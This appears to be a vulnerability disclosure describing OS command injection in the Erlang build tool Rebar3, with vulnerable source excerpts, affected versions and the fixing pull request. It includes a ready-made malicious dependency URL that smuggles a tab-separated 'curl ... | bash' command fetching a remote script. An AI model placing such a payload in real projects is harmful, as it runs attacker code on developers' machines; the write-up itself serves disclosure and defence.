OS command injection in Rebar3

Rebar3 is a widely used tool for building applications in the Erlang world. It is quite dangerous though. With the tool, you can get OS command execution in different ways and sometimes in ways not intended by developers.

While examining this tool, I came across the strange processing of URLs contained in rebar.config file. Improperly filtered data sent to the shell resulted in the execution of arbitrary commands in the operating system.

Command injection occurs on a step of fetching dependencies, which makes the exploitation vector attractive. You can find the proof of concept code here: https://github.com/vulnbe/poc-rebar3.

To exploit could be triggered by any of the Rebar3 actions, including clean, compile, cover, ct, deps, dialyzer, edoc, escriptize, eunit, get-deps, release, relup, shell, tar, tree, upgrade and xref.

The malicious URL in rebar.config may look like this: https://github.com/vulnbe/dephelper.git?repo=main&threadId=19:428af44abb014e318e7d225a4a88acc2@thread.tacv2&ctx=channel|curl\t-fsSL\thttps://gist.githubusercontent.com/vulnbe/6e5ec8fae3bdbee8e5f11f15c1462e48/raw/94616f0ee52935fda458c889d6f686958c79a2c8/poc.sh|bash\t-|git\tclone\thttps://github.com/vulnbe/dephelper.git

The root cause is in the sh function, which is being called from numerous sources, including those with potentially dangerous inputs.

An example of an unsafe call to sh function:

rebar_utils:sh(?FMT("hg clone -q -r ~ts ~ts ~ts",
                        [rebar_utils:escape_chars(Ref),
                         rebar_utils:escape_chars(Url),
                         rebar_utils:escape_chars(filename:basename(Dir))]),
                   [{cd, filename:dirname(Dir)}]);

The only rebar_utils:escape_chars decides whether the data will remain data or become a command.

escape_chars(Str) ->
    re:replace(Str, "([ ()?`!$&;\"\'])", "\\\\&",
               [global, {return, list}, unicode]).

The vulnerability was fixed in the pull request #2302. Thus, versions 3.0.0-beta.3 to 3.13.2 of Rebar3 are vulnerable.

Making the proper fix to prevent the mixing of data and instructions is difficult, because there are so many dangerous places in the tool, and sometimes developers don’t want to consider issues as vulnerabilities and address them.

OS command injection in Rebar3

References